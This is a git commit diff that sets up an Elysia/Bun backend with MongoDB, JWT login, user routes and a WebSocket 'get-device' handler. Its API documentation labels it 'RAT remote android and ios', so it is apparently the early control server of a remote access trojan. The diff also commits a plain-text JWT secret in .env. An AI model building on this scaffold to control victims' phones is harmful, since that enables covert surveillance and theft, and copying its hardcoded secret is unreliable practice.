Feat: Elysia demo

This commit is contained in:
koh 2024-01-22 20:48:26 +07:00
parent 6d7329653f
commit ac10b685af
11 changed files with 235 additions and 10 deletions

3
.env Normal file
View File

@ -0,0 +1,3 @@
PORT_SERVER=3000
JWT_SECRET=FnESrpC4GrFFLcBcz4eFN8
MONGODB_URI=mongodb://127.0.0.1:29000/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.1.1

BIN
bun.lockb Executable file

Binary file not shown.

View File

@ -2,11 +2,20 @@
"name": "app", "name": "app",
"version": "1.0.50", "version": "1.0.50",
"scripts": { "scripts": {
"test": "echo \"Error: no test specified\" && exit 1", "dev": "bun --watch src/index.js",
"dev": "bun run --watch src/index.ts" "build": "bun build src/index.js",
"start": "NODE_ENV=production bun src/index.js",
"test": "bun test"
}, },
"dependencies": { "dependencies": {
"elysia": "latest" "@elysiajs/cors": "^0.8.0",
"@elysiajs/jwt": "^0.8.0",
"@elysiajs/swagger": "^0.8.3",
"@grotto/logysia": "^0.1.1",
"bcrypt": "^5.1.1",
"elysia": "latest",
"elysia-helmet": "^1.0.2",
"mongoose": "^8.1.0"
}, },
"devDependencies": { "devDependencies": {
"bun-types": "latest" "bun-types": "latest"

7
src/config/mongo.js Normal file
View File

@ -0,0 +1,7 @@
import mongoose from 'mongoose';
// Connect to the MongoDB database
const mongoDBURI = process.env.MONGODB_URI ?? 'mongodb://localhost:27017';
mongoose.connect(mongoDBURI);
export default mongoose;

72
src/index.js Normal file
View File

@ -0,0 +1,72 @@
import { Elysia, t } from "elysia";
import { swagger } from '@elysiajs/swagger';
import { cors } from '@elysiajs/cors';
import { helmet } from 'elysia-helmet';
import { jwt } from '@elysiajs/jwt';
import { logger } from '@grotto/logysia';
import './config/mongo';
import { isAuthenticatedHttp, isAuthenticatedWS } from './middleware/jwt';
// Routers
import authRouter from './modules/auth';
import userRouter from './modules/user';
// Ws
import { getDevices } from './ws/device';
const app = new Elysia()
.use(swagger({
documentation: {
info: {
title: "RAT Cypher Company",
version: '1.0.0',
contact: {
name: '@kohdev',
url: 'https://t.me/kohdev'
},
description: "RAT remote android and ios",
license: {
name: "MIT"
}
}
},
version: '1.0.0'
}))
.use(cors(/* your options */))
.use(helmet({ /* your options */ }))
.use(logger())
.use(
jwt({
name: 'jwt',
secret: process.env.JWT_SECRET,
})
)
.get('/', () => {
return `Elysia is running at ${app.server?.hostname}:${app.server?.port}`;
})
// ws dùng hệ thống auth riêng nên không phải đặt trước onBeforeHandle auth của http
.ws('/ws', {
body: t.Object({
type: t.String(),
d: t.String(),
}),
message(ws, message) {
switch(message.type) {
case 'get-device':
getDevices(ws, message.d);
}
},
maxPayloadLength: 1024 * 1024, // 1 MB
beforeHandle: ({ headers, jwt, set, store }) => isAuthenticatedWS({ headers, jwt, set, store }),
})
// không auth
.use(authRouter)
// auth middleware
.onBeforeHandle(isAuthenticatedHttp)
// từ router này về sau sẽ được auth
.use(userRouter)
.listen(process.env.PORT_SERVER);
console.log(
`🦊 Elysia is running at ${app.server?.hostname}:${app.server?.port}`
);

View File

@ -1,7 +0,0 @@
import { Elysia } from "elysia";
const app = new Elysia().get("/", () => "Hello Elysia").listen(3000);
console.log(
`🦊 Elysia is running at ${app.server?.hostname}:${app.server?.port}`
);

40
src/middleware/jwt.js Normal file
View File

@ -0,0 +1,40 @@
import UserModel from '../models/User';
async function isAuthenticatedHttp({ headers, jwt, set }) {
const token = (headers.authorization || "").split(" ");
if (!token[1]) {
set.status = 401;
return {
ok: 0,
e: "Unauthorized",
}
}
const { userId } = await jwt.verify(token[1]);
if (!userId) {
set.status = 401;
return {
ok: 0,
e: "Unauthorized",
}
}
const userByID = await UserModel.findById(userId).lean();
set.user = userByID;
return {
user: userByID,
};
}
async function isAuthenticatedWS({ headers, jwt, set, store }) {
const token = (headers.authorization || "").split(" ");
if (token[1]) {
const { userId } = await jwt.verify(token[1]);
const userByID = await UserModel.findById(userId).lean();
store.user = userByID;
return;
}
set.status = 401;
throw new Error("Unauthorized WS")
}
export { isAuthenticatedHttp, isAuthenticatedWS }

21
src/models/User.js Normal file
View File

@ -0,0 +1,21 @@
import { Schema, model } from 'mongoose';
const schema = new Schema(
{
username: {
type: String,
required: true,
unique: true,
},
password: {
type: String,
required: true,
select: false, // will not appear in the response
},
},
{
timestamps: true,
}
);
export default model('user', schema);

62
src/modules/auth.js Normal file
View File

@ -0,0 +1,62 @@
import { Elysia, t } from 'elysia';
import bcrypt from 'bcrypt';
import UserModel from '../models/User';
const SALTROUNDS = 10;
const auth = new Elysia({ prefix: '/api/auth' })
.guard(
{
body: t.Object({
username: t.String(),
password: t.String(),
})
},
(app) => app
.post('/createAccount', async ({ body, jwt, set }) => {
const { username, password } = body;
const passwordHash = bcrypt.hashSync(password, SALTROUNDS);
const userCreated = await new UserModel({ username, password: passwordHash }).save();
if (userCreated) {
const accessToken = await jwt.sign({
userId: userCreated._id
});
set.headers = {
'X-Authorization': accessToken,
};
set.status = 201;
return { ok: 1 };
}
}, {
beforeHandle: async ({ body, set }) => {
const { username } = body;
const isAccountCreated = await UserModel.exists({ username });
if (isAccountCreated) {
set.status = 400;
return {
ok: 0,
e: "Tên tài khoản đã tồn tại"
}
}
}
})
.post("/login", async ({ body, set, jwt }) => {
const { username, password } = body;
const passwordByUsername = await UserModel.findOne({ username }).select('password').lean();
const isValidPassword = bcrypt.compareSync(password, passwordByUsername?.password);
if (!isValidPassword) {
return {
ok: 0,
e: "Tên tài khoản hoặc mật khẩu không chính xác"
}
}
const accessToken = await jwt.sign({
userId: passwordByUsername._id
});
set.headers = {
'X-Authorization': accessToken,
};
return { ok: 1 };
})
);
export default auth;

11
src/modules/user.js Normal file
View File

@ -0,0 +1,11 @@
import { Elysia, t } from 'elysia';
const user = new Elysia({ prefix: '/api/user' })
.get("/me", ({ user }) => {
return {
ok: 1,
d: user,
}
});
export default user;

7
src/ws/device.js Normal file
View File

@ -0,0 +1,7 @@
async function getDevices(ws, d) {
const { data: { store } } = ws;
console.log(store);
ws.send({ d });
}
export { getDevices };